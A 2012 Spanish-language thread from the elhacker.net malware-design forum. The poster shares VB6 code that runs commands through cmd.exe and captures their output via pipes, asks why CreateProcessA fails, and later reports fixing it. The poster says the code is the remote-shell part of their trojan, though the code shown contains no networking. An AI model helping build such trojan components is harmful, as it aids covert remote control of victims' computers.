elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [VB6] Consola de comandos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [VB6] Consola de comandos  (Leído 3,150 veces)
noele1995

Desconectado Desconectado

Mensajes: 137



Ver Perfil
[VB6] Consola de comandos
« en: 8 Abril 2012, 20:59 pm »

Bueno para mi troyano queria elaborar una buena shell remota con pipes, como no tenia mucha idea me puse a investigar y ayudandome de una shell que encontre purulando por la web he elaborado este codigo pero nose porque me da error, si alguien me puede ayudar se lo agradeceria. El error lo da la api CreateProcessA.

Código
  1. Public Function CMD(Comando As String) As String
  2. On Error GoTo Error_cmd
  3.  
  4. Dim hReadPipe       As Long
  5. Dim hWritePipe      As Long
  6. Dim SecAtt          As SECURITY_ATTRIBUTES
  7. Dim ProcInfo        As PROCESS_INFORMATION
  8. Dim StUpInfo        As STARTUPINFO
  9. Dim Ret             As Long
  10. Dim Buffer          As String * 256
  11. Dim BytesRead       As Long
  12.  
  13.  
  14. SecAtt.nLength = Len(SecAtt)
  15. SecAtt.bInheritHandle = 1&
  16. SecAtt.lpSecurityDescriptor = 0&
  17.  
  18. If CreatePipe(hReadPipe, hWritePipe, SecAtt, 0) = 0 Then
  19.    CMD = "Error: " & Err.LastDllError
  20.    Exit Function
  21. End If
  22.  
  23. StUpInfo.cb = Len(StUpInfo)
  24. StUpInfo.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
  25. StUpInfo.hStdOutput = hWritePipe
  26. StUpInfo.hStdError = hWritePipe
  27. Comando = Environ("COMSPEC") & " /c " & Comando
  28.  
  29. If CreateProcessA(vbNullString, Comando, SecAtt, SecAtt, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, StUpInfo, ProcInfo) = 0 Then
  30.    CMD = "Error: " & Err.LastDllError
  31.    Exit Function
  32. End If
  33.  
  34. CloseHandle (hWritePipe)
  35. CMD = ""
  36.  
  37. Do
  38.    Ret = ReadFile(hReadPipe, Buffer, 256, BytesRead, 0&)
  39.    CMD = CMD & Left$(Buffer, BytesRead)
  40. Loop While Ret <> 0
  41.  
  42. CloseHandle (ProcInfo.hThread)
  43. CloseHandle (ProcInfo.hProcess)
  44. CloseHandle (hWritePipe)
  45. Exit Function
  46.  
  47. Error_cmd:
  48. CMD = "Error: " & Err.Description
  49. End Function
En línea

Elemental Code


Desconectado Desconectado

Mensajes: 622


Im beyond the system


Ver Perfil
Re: [VB6] Consola de comandos
« Respuesta #1 en: 10 Abril 2012, 05:54 am »

http://foro.elhacker.net/programacion_visual_basic/ayuda_con_cmd_pipe_vb6-t277687.0.html;msg1367077#msg1367077

MAGIAAAAA
En línea

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas
noele1995

Desconectado Desconectado

Mensajes: 137



Ver Perfil
Re: [VB6] Consola de comandos
« Respuesta #2 en: 11 Abril 2012, 17:31 pm »

Gracias por la ayuda aunque al final no la necesite, solo tuve que hacer algunas modificaciones en las declaraciones y funciono :D
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[PROBLEMA] Ejecución de comandos en consola (dir vs ipconfig) Qué puede ocurrir?
Programación C/C++
DrKillador 0 1,522 Último mensaje 3 Enero 2013, 19:36 pm
por DrKillador
Duda comandos consola Linux
GNU/Linux
jamatbar 2 2,373 Último mensaje 21 Octubre 2014, 11:40 am
por jamatbar
capturar comandos en la consola de eclipse
Programación General
bash 0 1,643 Último mensaje 17 Julio 2015, 21:08 pm
por bash
Consola de Windows: acceso, uso, comandos y trucos
Noticias
wolfbcn 0 1,683 Último mensaje 25 Octubre 2018, 14:20 pm
por wolfbcn
Modo Consola en Ubuntu no me deja escribir comandos
GNU/Linux
ElPela2019 0 1,819 Último mensaje 11 Marzo 2019, 00:39 am
por ElPela2019
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines